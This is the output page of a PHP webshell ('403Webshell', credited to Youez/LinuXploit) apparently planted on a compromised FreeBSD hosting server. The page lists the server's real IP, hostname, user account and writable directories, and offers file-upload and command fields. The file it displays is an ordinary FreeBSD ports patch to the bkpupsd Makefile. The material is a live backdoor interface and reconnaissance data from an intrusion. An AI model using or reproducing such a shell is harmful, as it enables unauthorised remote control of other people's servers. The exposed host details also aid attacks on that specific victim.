403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/bkpupsd/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/bkpupsd/files/patch-Makefile
--- Makefile.orig	1997-08-04 01:02:37.000000000 +0800
+++ Makefile	2013-11-08 20:53:42.000000000 +0800
@@ -5,24 +5,22 @@
 # ver 1.0 A
 #
 
-CC=		/usr/bin/cc
-SBINDIR=	/usr/local/sbin
-MANDIR=		/usr/local/man
-SCRIPTDIR=	/usr/local/libexec
+#CC=		/usr/bin/cc
+SBINDIR=	${PREFIX}/sbin
+MANDIR=		${PREFIX}/man/man8
+SCRIPTDIR=	${PREFIX}/libexec/bkpupsd
 
 all: ./src/bkpupsd.c
-	${CC} -o ./bin/bkpupsd ./src/bkpupsd.c
+	${CC} ${CFLAGS} -o ./bin/bkpupsd ./src/bkpupsd.c
 
 install:
-	chown root.wheel ./bin/bkpupsd
-	chmod 700 ./bin/bkpupsd
-	cp ./bin/bkpupsd ${SBINDIR}/bkpupsd
-	cp ./doc/bkpupsd.8 ${MANDIR}/man8/bkpupsd.8
-	chown root.wheel ./scripts/*
-	cp -fR ./scripts ${SCRIPTDIR}/bkpupsd
+	${BSD_INSTALL_PROGRAM} ./bin/bkpupsd ${DESTDIR}${SBINDIR}
+	${BSD_INSTALL_MAN} ./doc/bkpupsd.8 ${DESTDIR}${MANDIR}
+	mkdir -p ${DESTDIR}${SCRIPTDIR}
+	(cd scripts; for i in *; do ${BSD_INSTALL_SCRIPT} $$i ${DESTDIR}${SCRIPTDIR}; done)
 
 clean:
 	rm -f ./bin/bkpupsd
 	rm -f ${SBINDIR}/bkpupsd
-	rm -f ${MANDIR}/man8/bkpupsd.8
-	rm -rf ${SCRIPTDIR}/bkpupsd
+	rm -f ${MANDIR}/bkpupsd.8
+	rm -rf ${SCRIPTDIR}

Youez - 2016 - github.com/yon3zu
LinuXploit